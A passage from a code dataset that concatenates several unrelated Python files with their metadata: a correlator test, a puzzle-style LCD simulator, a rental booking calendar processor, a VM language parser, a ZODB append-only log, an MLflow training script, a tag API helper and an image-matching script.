[]\n for attr in attr_list:\n attrs.append(Attribute.get_by_name(attr[1]))\n add_test_dynamic(self.session_db, attrs_ids)\n\n dependency_name ='exponential'\n start_time = date_format.format(day='01')\n end_time = date_format.format(day='31')\n\n\n compared_attrs = self.instance.compare_attributes(\n attr_list[0][1],\n attr_list[1][1],\n start_time,\n end_time,\n dependency_name\n )\n self.assertEqual(compared_attrs['x_attribute_name'], attr_list[0][1])\n self.assertEqual(compared_attrs['y_attribute_name'], attr_list[1][1])\n self.assertEqual(\n len(compared_attrs['x_attribute_values']),\n len(compared_attrs['y_attribute_values'])\n )\n", "sub_path": "correlator/tests/test_resources.py", "file_name": "test_resources.py", "file_ext": "py", "file_size_in_byte": 10582, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 16, "usage_type": "attribute"}, {"api_name": "correlator.resources.Resource", "line_number": 22, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 28, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 28, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 42, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 42, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 50, "usage_type": "attribute"}, {"api_name": "correlator.resources.TraversingMixin", "line_number": 62, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 93, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 93, "usage_type": "name"}, {"api_name": "correlator.resources.Resource", "line_number": 97, "usage_type": "name"}, {"api_name": "correlator.resources.Resource", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.BaseTest", "line_number": 107, "usage_type": "name"}, {"api_name": "correlator.resources.Graph", "line_number": 113, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 117, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 117, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pyramid.testing", "line_number": 124, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 134, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 134, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 135, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 135, "usage_type": "name"}, {"api_name": "correlator.models.Graph", "line_number": 136, "usage_type": "call"}, {"api_name": "utils.add_test_attribute", "line_number": 141, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 142, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 142, "usage_type": "name"}, {"api_name": "correlator.models.Graph.get_attributes_ids", "line_number": 147, "usage_type": "call"}, {"api_name": "correlator.models.Graph", "line_number": 147, "usage_type": "name"}, {"api_name": "utils.add_test_dynamic", "line_number": 148, "usage_type": "call"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pyramid.testing", "line_number": 150, "usage_type": "name"}, {"api_name": "utils.BaseTest", "line_number": 161, "usage_type": "name"}, {"api_name": "correlator.resources.Graphs", "line_number": 167, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 168, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 168, "usage_type": "name"}, {"api_name": "utils.add_test_attribute", "line_number": 176, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 178, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 178, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 181, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 181, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 182, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 182, "usage_type": "name"}, {"api_name": "correlator.models.Graph.get_attributes_ids", "line_number": 189, "usage_type": "call"}, {"api_name": "correlator.models.Graph", "line_number": 189, "usage_type": "name"}, {"api_name": "correlator.models.Attribute.clean_table", "line_number": 201, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 201, "usage_type": "name"}, {"api_name": "correlator.models.Graph.clean_table", "line_number": 202, "usage_type": "call"}, {"api_name": "correlator.models.Graph", "line_number": 202, "usage_type": "name"}, {"api_name": "utils.add_test_attribute", "line_number": 208, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 209, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 209, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 212, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 212, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 213, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 213, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 223, "usage_type": "call"}, {"api_name": "utils.add_test_attribute", "line_number": 235, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 236, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 236, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 239, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 239, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 240, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 240, "usage_type": "name"}, {"api_name": "utils.BaseTest", "line_number": 250, "usage_type": "name"}, {"api_name": "correlator.resources.CorrelationAnalysis", "line_number": 257, "usage_type": "name"}, {"api_name": "pyramid.testing.DummyRequest", "line_number": 258, "usage_type": "call"}, {"api_name": "pyramid.testing", "line_number": 258, "usage_type": "name"}, {"api_name": "utils.add_test_attribute", "line_number": 267, "usage_type": "call"}, {"api_name": "utils.add_test_dynamic", "line_number": 271, "usage_type": "call"}, {"api_name": "utils.date_format.format", "line_number": 274, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 274, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 275, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 275, "usage_type": "name"}, {"api_name": "itertools.permutations", "line_number": 277, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 279, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 279, "usage_type": "name"}, {"api_name": "utils.add_test_attribute", "line_number": 297, "usage_type": "call"}, {"api_name": "correlator.models.Attribute.get_by_name", "line_number": 301, "usage_type": "call"}, {"api_name": "correlator.models.Attribute", "line_number": 301, "usage_type": "name"}, {"api_name": "utils.add_test_dynamic", "line_number": 302, "usage_type": "call"}, {"api_name": "utils.date_format.format", "line_number": 305, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 305, "usage_type": "name"}, {"api_name": "utils.date_format.format", "line_number": 306, "usage_type": "call"}, {"api_name": "utils.date_format", "line_number": 306, "usage_type": "name"}]} {"seq_id": "185022710", "text": "import os\nimport re\nfrom collections import deque\n\n\nPATH = os.path.abspath(__file__)\nDIR_PATH = os.path.dirname(PATH)\nINPUT = \"{}/input.txt\".format(DIR_PATH)\n\nclass SimpleLCD(object):\n def __init__(self, input):\n self.SCREEN = None\n self.INPUT = INPUT\n self.LINES = None\n self.DATA_POS = 0\n \n def setup_screen(self, row, col):\n self.SCREEN = deque([])\n for i in range(col):\n self.SCREEN.append(deque(0 for i in range(row)))\n\n def load_input(self):\n lines = []\n with open(self.INPUT, mode=\"r\") as data:\n for line in data.readlines():\n lines.append(line.strip(\"\\n\"))\n self.LINES = lines\n\n def process_input(self):\n for line in self.LINES:\n self.DATA_POS += 1\n num_1, num_2 = map(int, re.findall(r'[0-9]+', line))\n if 'rect' in line:\n self.draw_rect(num_1, num_2)\n if 'row' in line:\n self.rotate_row(num_1, num_2)\n if 'column' in line:\n self.rotate_col(num_1, num_2)\n\n def rotate_row(self, pos, pxl):\n self.SCREEN[pos].rotate(pxl)\n\n def rotate_col(self, pos, pxl):\n col = deque([i[pos] for i in self.SCREEN])\n col.rotate(pxl)\n for i in range(len(col)):\n self.SCREEN[i][pos] = col[i]\n\n def draw_rect(self, row ,col):\n for i in range(col):\n for j in range(row):\n self.SCREEN[i][j] = 1\n\n @property\n def pixel_count(self):\n pixels = len([ x for y in self.SCREEN for x in y if x == 1])\n return pixels\n\n @property\n def display(self):\n output = None\n for row in self.SCREEN:\n if output:\n output += '\\n'\n else:\n output = ''\n for col in row:\n if col == 0:\n output += ' '\n elif col == 1:\n output += '█'\n return output\n\n\nif __name__ == '__main__':\n try:\n screen = SimpleLCD(INPUT)\n print(\"Initializing screen...\")\n screen.setup_screen(50,6)\n print(\"Loading input data...\") \n screen.load_input()\n print(\"Processing input...\")\n screen.process_input()\n pixels = screen.pixel_count\n print(\"There are {} pixels lit up\").format(pixels)\n print(screen.display)\n except Exception as ERROR:\n print(\"ERROR processing data on line {}\").format(screen.DATA_POS)\n print(ERROR)\n", "sub_path": "Day 8/TwoFactorAuth.py", "file_name": "TwoFactorAuth.py", "file_ext": "py", "file_size_in_byte": 2528, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 20, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 32, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 44, "usage_type": "call"}]} {"seq_id": "172082460", "text": "import pandas as pd\nimport re\nimport lxml\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport json\nfrom calendar import monthrange\nimport numpy as np\n\nimport glob, os\n\n\n\n\n\nos.chdir(\"/Users/taj/GitHub/scraping/stayz/WebData/nsw_processed_calendar\")\n\nfor file in glob.glob(\"*.json\"):\n\n#for file in glob.glob(\"*_9168471.json_proc.json\"):\n\n\n print(\"Filename: \" + file)\n\n\n # Open the Processed Calendar file\n p = pd.read_json('/Users/taj/GitHub/scraping/stayz/WebData/nsw_processed_calendar/' + file )\n p.head()\n\n\n # Open the file for writing out the bookings details:\n fp = open('/Users/taj/GitHub/scraping/stayz/WebData/nsw_bookings/stayz_bookings_' + file, 'w')\n\n first_page = True\n\n # Iterate over each entry in the Processed Calendar file:\n for index, row in p.iterrows(): \n \n c = row['calendar']\n \n pid = row['property_id']\n \n days_count = 0\n avl_count = 0\n dep_count = 0\n arr_count = 0\n uvl_count = 0\n\n booking_count = 0\n\n dates = list(c.keys())\n\n min_dateIndex = 0\n max_dateIndex = len(dates)\n \n while (min_dateIndex < max_dateIndex):\n\n date = dates[min_dateIndex]\n status = c[date]\n\n # Count the total number of days\n days_count += 1\n\n if( status == 'AVL'):\n avl_count += 1\n\n if( status == 'ARR'):\n arr_count += 1\n # Iterate while the days are Unavailble until we find a Departure\n\n # Keep the arrival date:\n date_arr = date\n\n # Reset the count for this booking\n # Has to be at least one nights stay!\n booking_days = 1\n\n # Move to the next day.\n # Breaks if they arrive on the last day of the 6th month!!!\n min_dateIndex += 1\n #booking_days += 1\n \n if(min_dateIndex < max_dateIndex): \n date = dates[min_dateIndex]\n status = c[date]\n else:\n date = None\n status = None\n \n # If only one night stay. be careful how to increment booking_days???\n while(( status != 'DEP') & (min_dateIndex < max_dateIndex)):\n date = dates[min_dateIndex]\n status = c[date]\n\n # Departure date doesnt count as a booked date, but as an available date\n #booking_days += 1\n\n days_count += 1\n\n min_dateIndex += 1\n \n\n # Add in the last day\n avl_count += 1\n days_count += 1\n\n\n\n # Get the departure day details??\n \n if(min_dateIndex >= max_dateIndex): \n # Booking runs over the end of the month into the 7th month, which we dont track\n # Ignore this booking or just track to the end of the month?\n date_dep = None\n\n booking_days = 0\n else:\n date_dep = date\n\n b_days = datetime.strptime(date_dep,'%Y-%m-%d') - datetime.strptime(date_arr,'%Y-%m-%d')\n\n # If the booking runs over the month, then create two entries. One for the first month, the second for next month??\n\n booking_days = b_days.days\n\n\n\n\n # Calculate the days based on the dates\n\n #datetime_object = datetime.strptime('Jun 1 2005 1:33PM', '%b %d %Y %I:%M%p')\n\n \n\n # Track the total bookings.\n #booking_count += booking_days\n\n # Keep the date the calendar was extracted\n ext_at = str(row['ext_at'])\n\n # Show the booking details\n booking_detail = {\n 'property_id': pid,\n 'ext_at' : ext_at,\n 'arr_dt': date_arr,\n 'dep_dt': date_dep,\n 'book_days': str(booking_days)\n }\n\n if first_page is True:\n fp.write('[\\n')\n first_page = False\n else:\n fp.write('\\n,')\n\n json.dump(booking_detail, fp) \n\n if( status == 'UVL'):\n uvl_count += 1\n\n min_dateIndex += 1\n\n # Close off the JSON\n fp.write(']')\n\n #print(\"Total days: \" + str(days_count))\n #print(\"Available days: \" + str(avl_count))\n #print(\"Departure days: \" + str(dep_count))\n #print(\"Arrival days: \" + str(arr_count))\n #print(\"Booked days: \" + str(booking_count))\n #print(\"Unavailable days: \" + str(uvl_count))\n #print(\"Total check: \" + str(avl_count + booking_count + uvl_count))\n\n # Tidy up file handles\n fp.close()\n\n\n\n# In[26]:\n\n\n# Do a scatter plot of distance from sydney vs bookings count???\n\n# Distance vs revenue?\n# Distance vs revenue per person (assuming full occupancy)\n\n# Percentage occupancy for the month vs distance\n# 30/60/90 day occupancy vs distance (forward bookings)\n# Las 30/60/90 day actual occupance vs distance (history bookings)\n", "sub_path": "stayz/4_Stayz_Booking_Processing.py", "file_name": "4_Stayz_Booking_Processing.py", "file_ext": "py", "file_size_in_byte": 5306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.chdir", "line_number": 16, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 156, "usage_type": "call"}]} {"seq_id": "364621420", "text": "from enum import Enum\nfrom Command import Command\nimport os\n\n\"\"\" The parser module for the assembler.\n\"\"\"\n\n# Constants.\nCOMMENT_PREFIX = '//'\nREAD_ONLY = 'r'\nDEF_ENCODING = 'utf-8'\nEMPTY_LINE = ''\n\nSTR_ARITHMETIC = ['add', 'sub', 'neg', 'eq', 'gt', 'lt', 'and', 'or', 'not']\nSTR_PUSH = 'push'\nSTR_POP = 'pop'\nSTR_LABEL = 'label'\nSTR_GOTO = 'goto'\nSTR_IF = 'if'\nSTR_FUNCTION = 'function'\nSTR_RETURN = 'return'\nSTR_CALL = 'call'\n\nclass CommandType(Enum):\n ''' Enum for the command type.\n '''\n NO_COMMAND = -1\n C_ARITHMETIC = 0\n C_PUSH = 1\n C_POP = 2\n C_LABEL = 3\n C_GOTO = 4\n C_IF = 5\n C_FUNCTION = 6\n C_RETURN = 7\n C_CALL = 8\n\n\ncontent = []\n\ndef parse(file_name):\n \"\"\" Parse a given assembly language file.\n \"\"\"\n # Clean up when parsing a new file\n global content\n content = []\n current_command = None\n # Read the file and parse lines\n with open(file_name, mode=READ_ONLY, encoding=DEF_ENCODING) as vm_file:\n for line in vm_file:\n # Ignore whitespace & comments in the start and end of the line\n found_comment = line.find(COMMENT_PREFIX)\n if found_comment != -1:\n line = line[:found_comment]\n\n line = line.strip().split(' ')\n if line[0] == EMPTY_LINE:\n continue\n # Determine whether current line is A/L/C CommandType (L for Label)\n elif line[0] in STR_ARITHMETIC:\n current_command = CommandType.C_ARITHMETIC\n elif line[0] == STR_PUSH:\n current_command = CommandType.C_PUSH\n elif line[0] == STR_POP:\n current_command = CommandType.C_POP\n elif line[0] == STR_LABEL:\n current_command = CommandType.C_LABEL\n elif line[0] == STR_GOTO:\n current_command = CommandType.C_GOTO\n elif line[0] == STR_IF:\n current_command = CommandType.C_IF\n elif line[0] == STR_FUNCTION:\n current_command = CommandType.C_FUNCTION\n elif line[0] == STR_RETURN:\n current_command = CommandType.C_RETURN\n elif line[0] == STR_CALL:\n current_command = CommandType.C_CALL\n\n # Add the created command to the content list\n content.append(Command(current_command, line))\n\n # For loop ends here.\n\n # File is closed here\n\ndef get_commands():\n \"\"\" Get all commands in a parsed file - use this after running the parse function.\n This is a generator, thus running 'for command in get_commands()' will yield\n all commands in the parsed file in the correct order.\n \"\"\"\n for command in content:\n yield command\n", "sub_path": "projects/07/Parser.py", "file_name": "Parser.py", "file_ext": "py", "file_size_in_byte": 2713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "enum.Enum", "line_number": 24, "usage_type": "name"}, {"api_name": "Command.Command", "line_number": 80, "usage_type": "call"}]} {"seq_id": "468840397", "text": "from persistent import Persistent\n\nclass ConflictFreeLog(Persistent):\n \"\"\"Scalable conflict-free append-only double-linked list\n\n Wasted ZODB space due to conflicts is roughly proportional to the number of\n clients that continuously add items at the same time.\n \"\"\"\n _prev = _next = None\n _tail_count = 0\n _bucket_size = 1000\n\n def __init__(self, items=(), bucket_size=None):\n self._log = list(items)\n if bucket_size:\n assert bucket_size > 0\n self._bucket_size = bucket_size\n\n def __len__(self):\n return self._tail_count + len(self._log)\n\n def _maybe_rotate(self):\n if self._p_estimated_size < self._bucket_size:\n self._p_changed = 1\n else:\n tail = self.__class__()\n tail._log = self._log\n prev = self._prev\n if prev is None:\n prev = self\n else:\n assert not self._next._tail_count\n tail._tail_count = self._tail_count\n tail._prev = prev\n prev._next = tail\n self._prev = tail\n tail._next = self\n self._tail_count += len(self._log)\n self._log = []\n\n def append(self, item):\n if not self._p_changed:\n self._maybe_rotate()\n self._log.append(item)\n\n def extend(self, items):\n if not self._p_changed:\n self._maybe_rotate()\n self._log.extend(items)\n\n def __iadd__(self, other):\n self.extend(other)\n return self\n\n def __iter__(self):\n bucket = self._next\n if bucket is None:\n bucket = self\n while 1:\n for item in bucket._log:\n yield item\n if bucket is self:\n break\n bucket = bucket._next\n\n def reversed(self):\n bucket = self\n while 1:\n for item in bucket._log[::-1]:\n yield item\n bucket = bucket._prev\n if bucket in (None, self):\n break\n\n def _p_resolveConflict(self, old_state, saved_state, new_state):\n # May be called for the head and its predecessor.\n old_tail_count = old_state.get('_tail_count', 0)\n d = new_state.get('_tail_count', 0) - old_tail_count\n # Added elements by us:\n added = new_state['_log'][\n # The following computed value is also non-zero\n # if we rotated during a previous conflict resolution.\n len(old_state['_log']) - d\n :]\n if d:\n if old_tail_count == saved_state.get('_tail_count', 0):\n # We are the first one to rotate. Really rotate.\n # Only the head conflicts in this case.\n return dict(new_state, _log=saved_state['_log'][d:] + added)\n # Another node rotated before us. Revert our rotation.\n # Both the head and its predecessor conflict.\n #else:\n # We didn't rotate. Just add our items to saved head.\n # Only the head conflicts.\n saved_state['_log'] += added\n return saved_state\n", "sub_path": "product/ERP5Type/ConflictFree.py", "file_name": "ConflictFree.py", "file_ext": "py", "file_size_in_byte": 2723, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "persistent.Persistent", "line_number": 3, "usage_type": "name"}]} {"seq_id": "182386754", "text": "import os\nimport warnings\nimport sys\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.metrics import precision_recall_fscore_support as score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.ensemble import RandomForestClassifier\n\nimport mlflow\nimport mlflow.sklearn\n\nfrom preprocessing_data import preprocessing_train, preprocessing_test\n\nimport logging\nlogging.basicConfig(level=logging.WARN)\nlogger = logging.getLogger(__name__)\n\nif __name__ == \"__main__\":\n\n warnings.filterwarnings(\"ignore\")\n np.random.seed(40)\n\n train = preprocessing_train()\n\n X = train.drop(columns=['TARGET'])\n y = train['TARGET']\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42)\n\n sc = StandardScaler()\n X_train = sc.fit_transform(X_train)\n X_test = sc.transform(X_test)\n\n lr = float(sys.argv[1]) if len(sys.argv) > 1 else 0.1\n ne = int(sys.argv[2]) if len(sys.argv) > 500 else 100\n nj = int(sys.argv[3]) if len(sys.argv) > 3 else 1\n\n with mlflow.start_run():\n\n classifier = RandomForestClassifier(n_estimators=20, random_state=0)\n classifier.fit(X_train, y_train)\n predicted_qualities = classifier.predict(X_test)\n\n precision,recall,fscore,support=score(y_test, predicted_qualities)\n precision0 = precision[0]\n precision1 = precision[1]\n recall0 = recall[0]\n recall1 = recall[1]\n fscore0 = fscore[0]\n fscore1 = fscore[1]\n support0 = support[0]\n support1 = support[1]\n\n accuracy = accuracy_score(y_test, predicted_qualities)\n\n print(\"RandomForest Model (learning_rate=%f, n_estimators=%f, n_jobs=%f):\" % (lr, ne, nj))\n\n mlflow.log_param(\"learning_rate\", lr)\n mlflow.log_param(\"n_estimators\", ne)\n mlflow.log_param(\"n_jobs\", nj)\n mlflow.log_metric(\"precision0\", precision0)\n mlflow.log_metric(\"precision1\", precision1)\n mlflow.log_metric(\"recall0\", recall0)\n mlflow.log_metric(\"recall1\", recall1)\n mlflow.log_metric(\"fscore0\", fscore0)\n mlflow.log_metric(\"fscore1\", fscore1)\n mlflow.log_metric(\"support0\", support0)\n mlflow.log_metric(\"support1\", support1)\n mlflow.log_metric(\"accuracy\", accuracy)\n\n mlflow.sklearn.log_model(classifier, \"RandomForestClassifier\")", "sub_path": "src/trainrf.py", "file_name": "trainrf.py", "file_ext": "py", "file_size_in_byte": 2486, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.WARN", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "preprocessing_data.preprocessing_train", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 36, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "mlflow.start_run", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_fscore_support", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 60, "usage_type": "call"}, {"api_name": "mlflow.log_param", "line_number": 64, "usage_type": "call"}, {"api_name": "mlflow.log_param", "line_number": 65, "usage_type": "call"}, {"api_name": "mlflow.log_param", "line_number": 66, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 67, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 68, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 69, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 70, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 71, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 72, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 73, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 74, "usage_type": "call"}, {"api_name": "mlflow.log_metric", "line_number": 75, "usage_type": "call"}, {"api_name": "mlflow.sklearn.log_model", "line_number": 77, "usage_type": "call"}, {"api_name": "mlflow.sklearn", "line_number": 77, "usage_type": "attribute"}]} {"seq_id": "522345398", "text": "#!/usr/bin/env python\n\n# Copyright (C) 2010 Red Hat, Inc.\n#\n# This is free software; you can redistribute it and/or modify it\n# under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation; either version 2.1 of\n# the License, or (at your option) any later version.\n#\n# This software is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this software; if not, write to the Free\n# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n# 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n\nfrom art.rhevm_api.utils.test_utils import get_api\nfrom art.core_api.apis_utils import getDS\n\nELEMENT = 'tag'\nCOLLECTION = 'tags'\nutil = get_api(ELEMENT, COLLECTION)\n\nTag = getDS('Tag')\n\n\ndef _prepareTagObject(**kwargs):\n\n tag = Tag()\n\n if 'name' in kwargs:\n tag.set_name(kwargs.get('name'))\n\n if 'description' in kwargs:\n tag.set_description(kwargs.get('description'))\n\n if 'parent' in kwargs:\n parent = util.find(kwargs.pop('parent'))\n tag.set_parent(parent)\n\n return tag\n\n\ndef addTag(positive, **kwargs):\n '''\n Description: create new tag\n Author: edolinin\n Parameters:\n * name - name of a new tag\n * description - tag description\n * parent - name of the tag to be used as a parent.\n Return: status (True if tag was created properly, False otherwise)\n '''\n\n tag = _prepareTagObject(**kwargs)\n tag, status = util.create(tag, positive)\n\n return status\n\n\ndef updateTag(positive, tag, **kwargs):\n '''\n Description: update existed tag\n Author: edolinin\n Parameters:\n * tag - name of a tag that should be updated\n * name - new tag name\n * description - new tag description\n * parent - name of the new parent tag\n Return: status (True if tag was updated properly, False otherwise)\n '''\n\n tagObj = util.find(tag)\n tagUpd = _prepareTagObject(**kwargs)\n tagUpd, status = util.update(tagObj, tagUpd, positive)\n return status\n\n\ndef removeTag(positive, tag):\n '''\n Description: remove existed tag\n Author: edolinin\n Parameters:\n * tag - name of a tag that should be removed\n Return: status (True if tag was removed properly, False otherwise)\n '''\n\n tagObj = util.find(tag)\n return util.delete(tagObj, positive)\n", "sub_path": "art/rhevm_api/tests_lib/low_level/tags.py", "file_name": "tags.py", "file_ext": "py", "file_size_in_byte": 2593, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "art.rhevm_api.utils.test_utils.get_api", "line_number": 25, "usage_type": "call"}, {"api_name": "art.core_api.apis_utils.getDS", "line_number": 27, "usage_type": "call"}]} {"seq_id": "453527379", "text": "from skimage import transform as tf\r\nfrom skimage.feature import (match_descriptors, ORB, plot_matches)\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nfrom skimage.filters.rank import enhance_contrast, median\r\nfrom skimage.exposure import equalize_adapthist\r\nfrom skimage import morphology\r\n\r\n# from skimage.measure import ransac as skransac\r\n# from skimage.transform import EuclideanTransform\r\nimport numpy as np\r\nfrom ex4_part1 import *\r\nfrom scipy import misc\r\n\r\n\r\n# img1 = misc.imread('BL05.bmp', flatten=0)\r\n# img1 = cv2.medianBlur(img1[:,:,0, 15)\r\n\r\n# img2 = misc.imread('FU05.bmp', flatten=0)\r\n# img2 = cv2.medianBlur(img2[:,:,0, 15)\r\n\r\n\r\nimg1 = cv2.imread('BL01-no.tif', 0)\r\n\r\nimg1 = median(img1, selem=np.ones((12, 12)))\r\n\r\n\r\nimg2 = cv2.imread('FU01-no.tif', 0)\r\nimg2 = median(img2, selem=np.ones((12, 12)))\r\n\r\n\r\n\r\ndescriptor_extractor = ORB(n_keypoints=200, harris_k=1e-4)\r\n\r\ndescriptor_extractor.detect_and_extract(img1)\r\nkeypoints1 = descriptor_extractor.keypoints\r\ndescriptors1 = descriptor_extractor.descriptors\r\n\r\ndescriptor_extractor.detect_and_extract(img2)\r\nkeypoints2 = descriptor_extractor.keypoints\r\ndescriptors2 = descriptor_extractor.descriptors\r\n\r\nmatches12 = match_descriptors(descriptors1, descriptors2, cross_check=True,metric='euclidean')\r\n\r\ndisplay_matches(img1, img2, keypoints1[matches12[:, 0]], keypoints2[matches12[:, 1]])\r\n\r\nfig, ax = plt.subplots(nrows=2, ncols=1)\r\n\r\nplt.gray()\r\n\r\nplot_matches(ax[0], img1, img2, keypoints1, keypoints2, matches12)\r\n# plt.scatter(keypoints1[matches12[:, 0]][:, 1], keypoints1[matches12[:, 0]][:, 0])\r\n# plt.scatter(keypoints2[matches12[:, 1]][:, 1] + img1.shape[1], keypoints2[matches12[:, 1]][:, 0])\r\nax[0].axis('off')\r\nax[0].set_title(\"Original Image vs. Transformed Image\")\r\n\r\nf, inliers = ransac(keypoints1[matches12[:, 0]], keypoints2[matches12[:, 1]], calcPointBasedReg, calcDist,\r\n minPtNum=3, iterNum=20000, thDist=5, thInlrRatio=0.2)\r\n\r\n# g, skinliers = skransac((keypoints1[matches12[:, 0]], keypoints2[matches12[:, 1]]), EuclideanTransform, min_samples=2,\r\n# residual_threshold=10, max_trials=20000)\r\n# inliers_idx = np.nonzero(inliers)[0]\r\ninliers_idx = matches12[inliers]\r\nplot_matches(ax[1], img1, img2, keypoints1, keypoints2, inliers_idx)\r\n# plt.scatter(keypoints1[inliers[:, 0]][:, 1], keypoints1[inliers[:, 0]][:, 0])\r\n# 